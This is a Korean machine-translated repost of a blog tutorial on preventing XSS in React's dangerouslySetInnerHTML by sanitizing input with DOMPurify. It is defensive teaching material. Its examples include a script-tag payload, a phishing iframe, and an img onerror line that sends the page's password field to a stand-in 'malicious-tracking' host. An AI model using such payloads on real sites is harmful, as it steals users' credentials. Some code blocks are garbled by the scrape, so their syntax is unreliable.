React&#s `위험하게 SetInnerHTML`을 사용할 때 XSS 악용 완화

표지 이미지: Lautaro Andreani

...

TL: DR; 콘텐츠를 위험하게 SetInnerHTML에 덤핑하는 것은 바로 위험합니다. 입력을 명시적으로 제어하지 않는 한 SetInnerHTML에 위험하게 전달하는 모든 입력을 삭제했는지 확인하세요.

다음 구성 요소는 위험한 SetInnerHTML을 통해 XSS 공격 위험을 완화하는 간단한 예입니다.

//https://github.com/cure53/DOMPurify
import React from "react";
import DOMPurify from "dompurify";

const sanitize = (dirty) => DOMPurify.sanitize(dirty);

const DangerousHtml = ({ innerHTML, tag }) => {
  const clean = sanitize(innerHTML);

  if (typeof tag === "undefined") {
    return <div dangerouslysetinnerhtml="{{" __html: clean></div>;
  }
  return <tag dangerouslysetinnerhtml="{{" __html: clean></tag>;
};

export default DangerousHtml;

맞춤형 DangerousHtml 구성 요소를 사용하면 입력이 실제로 위험한​SetInnerHTML 소품에 도달하기 전에 삭제하므로 XSS 악용 위험을 극적으로 줄일 수 있습니다.

DOMPurify는 고도로 구성 가능하므로 특정 사용 사례를 처리하거나 아래 예 중 일부를 명시적으로 허용하기 위해 예시와 같은 여러 구성요소를 갖고 싶은 경우가 있을 수 있습니다.

다음은 악용이 발생할 수 있는 방법에 대한 몇 가지 간단한 예입니다.

iFrame 및 스크립트 태그 활용

React는 악성 페이로드를 가리키는 스크립트 태그를 제거하지 않으므로 XSS가 가능합니다.

우리도 이런 방식으로 iFrame을 전달해서는 안 됩니다. 오히려 URL 및 기타 "안전한" 속성을 소품으로 전달하고 iFrame 태그에서 직접 렌더링하여 렌더링 기능과 소스에 대한 제어를 유지하거나 전용 iFrame 구성 요소를 보유해야 합니다.

예를 들어, API 요청에서 수신한 다음 악성 마크업을 생각해 보세요. dangerously​SetInnerHTML을 통해 맹목적으로 설정하면 사용자에게 다음과 같은 출력이 제공됩니다.

// Bad markup going in
<div dangerouslysetinnerhtml="{{" __html:>
  Hi
  <script src="https://example.com/malicious-tracking"></script>
  Fiona, here is the link to enter your bank details:
  <iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
`,
  }}
/>






<pre class="brush:php;toolbar:false"><!-- Bad markup rendered on the DOM -->
<div>
  <p>
    Hi
    <script src="https://example.com/malicious-tracking"></script>
    Fiona, here is the link to enter your bank details:
    <iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
  </p>
</div>

그러나 대신 DangerousHTML 구성 요소를 사용하면 사용자가 직면할 수 있는 대부분의 위험이 완화되었음을 의미합니다.

// Bad markup going in
<dangeroushtml innerhtml="{`<p">
  Hi
  <script src="https://example.com/malicious-tracking"></script>
  Fiona, here is the link to enter your bank details:
  <iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
`}
/>
</dangeroushtml>

<!-- Clean markup rendered on the DOM -->
<div>
  <p>Hi Fiona, here is the link to enter your bank details:</p>
</div>

Fiona는 어떤 이유로 웹사이트가 손상되었거나 콘텐츠가 누락되었다고 생각할 수 있습니다. 하지만 은행 정보를 피싱하는 것보다는 낫습니다!

속성 조작/중독

일부 DOM 요소에는 남용될 수 있으므로 보호해야 하는 특별한 속성이 있습니다.

이 예에서는 태그 오류입니다.

예를 들어 다음과 같습니다.

// Bad markup going in
<div dangerouslysetinnerhtml="{{" __html:>
  Hola
  <img  src="/static/imghwm/default1.png" data-src="none.png" class="lazy" onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' alt="React&#s `위험하게 SetInnerHTML`을 사용할 때 XSS 악용 완화" >
  Sharon
`,
  }}
/>






<pre class="brush:php;toolbar:false"><!-- Bad markup rendered on the DOM -->
<div>
  <p>
    Hola
    <img  src="/static/imghwm/default1.png" data-src="none.png" class="lazy" onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' alt="React&#s `위험하게 SetInnerHTML`을 사용할 때 XSS 악용 완화" >
    Sharon
  </p>
</div>

이 경우 이미지 요청이 결국 실패하고 사용자는 이를 전혀 알 수 없을 때 우리의 중독된 마크업이 DOM에서 데이터를 훔치고 있습니다.

DangerousHtml 구성 요소를 사용하면 이 문제를 다시 완화할 수 있습니다

// Bad markup going in
<dangeroushtml innerhtml="{`">
  Hola
  <img  src="/static/imghwm/default1.png" data-src="none.png" class="lazy" onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' alt="React&#s `위험하게 SetInnerHTML`을 사용할 때 XSS 악용 완화" >
  Sharon
`}
/>
</dangeroushtml>

<!-- Clean markup rendered on the DOM -->
<div>
  <p>
    Hola
    <img  src="/static/imghwm/default1.png" data-src="none.png" class="lazy" alt="React&#s `위험하게 SetInnerHTML`을 사용할 때 XSS 악용 완화" >
    Sharon
  </p>
</div>

대체 이미지를 표시하기 위해 일부 JS를 실제로 실행하고 싶을 수도 있다는 주장을 고려할 때, 우리는 이 작업을 수행하기 위해 원시적이고 정제되지 않은 HTML을 다시 신뢰해서는 안 되며 우리가 사용하는 fallbackImageURL 또는 onError 소품을 사용하는 것이 더 나은 서비스를 제공할 것입니다. 다음과 같이 이미지 태그에 명시적으로 추가할 수 있습니다.

// Usual imports
const MyImageComponent = ({ fallbackUrl, url }) => {
  // Usual component setup

  const displayFallbackImage = (evt) => {
    // If there is no fallback, do nothing
    if (!fallbackUrl) return;

    // set the url to the fallbackUrl
    evt.target.src = fallbackUrl;
  };

  return (
    <img  src="%7Burl%7D" onerror="{displayFallbackImage}" ... any other props alt="React&#s `위험하게 SetInnerHTML`을 사용할 때 XSS 악용 완화" >
  );
};

...

원문 기사: https://timbryan.dev/posts/react-xss-via-dangerouslySetInnerHtml